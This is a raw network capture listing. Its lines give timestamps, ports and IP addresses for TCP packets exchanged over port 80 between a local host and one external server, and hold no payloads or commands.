Oct 12, 2024 14:17:10.321463108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321482897 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321513891 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321538925 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321546078 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321558952 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321578026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321600914 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321610928 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321620941 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321641922 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321665049 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321676016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321708918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321724892 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321742058 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321774006 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321801901 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321805000 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321825027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321837902 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321852922 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321873903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321906090 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321937084 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321966887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321999073 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.322022915 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.322030067 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.322062016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.322093010 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.322124958 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.322154999 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.322156906 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.322186947 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.322216988 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.322218895 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.322249889 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.322282076 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.322282076 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.322313070 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.322338104 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.322345018 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.322376013 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.322407007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.322438002 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.322470903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.322472095 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.322503090 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.322534084 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.322566032 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.322577953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.322597027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.322602987 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.322628975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.322640896 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.322681904 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.406985044 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.407192945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.407226086 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.407250881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.407268047 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.407284975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.407301903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.407315969 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.407367945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.407450914 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.407485962 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.407527924 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.407550097 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.407577991 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.407609940 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.407663107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.407696009 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.407744884 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.407773018 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.407804966 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.407804966 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.407804966 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.407819986 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.407845020 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.407852888 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.407886982 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.407900095 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.407948017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.407962084 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.407979012 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408001900 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408027887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408035994 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408075094 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408090115 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408122063 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408129930 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408152103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408179045 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408184052 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408198118 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408233881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408248901 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408267021 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408297062 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408318043 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408343077 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408349991 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408374071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408381939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408395052 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408415079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408428907 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408446074 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408468008 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408478022 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408504963 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408526897 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408534050 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408559084 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408584118 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408607006 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408636093 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408638954 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408654928 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408685923 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408689022 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408718109 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408742905 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408766031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408771038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408819914 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408823013 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408850908 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408873081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408885956 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408910990 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408914089 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408937931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408945084 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.408968925 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408993959 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.408994913 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409024954 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409049988 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409073114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409077883 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409104109 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409127951 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409152031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409161091 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409183025 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409212112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409230947 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409230947 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409264088 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409287930 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409296036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409317017 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409327030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409352064 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409358978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409382105 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409408092 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409410954 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409460068 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409466028 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409492016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409517050 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409524918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409549952 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409557104 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409570932 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409590006 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409615040 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409621954 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409637928 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409653902 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409677029 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409683943 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409708023 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409717083 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409733057 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409748077 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409770012 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409779072 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409801960 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409811020 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409838915 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409842014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409858942 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409873009 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409897089 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409904957 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409920931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409935951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409954071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.409970045 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.409995079 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410001993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410022974 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410033941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410048962 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410064936 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410085917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410095930 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410120964 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410128117 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410147905 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410159111 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410175085 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410192966 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410207987 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410223961 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410248995 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410257101 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410281897 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410288095 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410315990 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410319090 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410343885 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410351038 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410372972 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410382032 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410403967 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410413980 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410437107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410444975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410468102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410475969 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410501003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410506964 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410531044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410538912 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410563946 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410569906 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410593987 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410603046 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410628080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410634041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410656929 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410669088 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410684109 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410698891 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410722017 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410732031 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410748005 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410763025 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410784960 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410794973 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410811901 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410828114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410849094 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410859108 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410880089 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410890102 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410912991 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410922050 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410944939 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410953045 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.410975933 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.410984039 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.411011934 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.411015034 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.411040068 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.411046982 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.411071062 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.411077976 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.411101103 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.411108971 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.411134005 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.411139965 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.411159039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.411173105 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.411199093 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.411206961 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.411221027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.411252975 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.496413946 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.496479988 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.496530056 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.496560097 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.496587038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.496587038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.496587038 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.496609926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.496642113 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.496664047 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.496664047 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.496684074 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.496689081 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.496721029 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.496743917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.496784925 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.496794939 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.496834040 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.496834993 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.496881962 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.496882915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.496913910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.496938944 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.496947050 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.496958971 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.496978045 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.496990919 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497013092 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497025013 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497042894 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497066975 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497075081 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497098923 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497117996 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497143030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497191906 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497196913 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497239113 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497241974 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497273922 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497298002 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497317076 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497320890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497353077 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497373104 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497384071 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497404099 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497415066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497419119 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497466087 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497466087 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497510910 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497515917 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497548103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497561932 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497580051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.497594118 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.497611046 CEST	80	49730	178.63.215.77	192.168.2.4
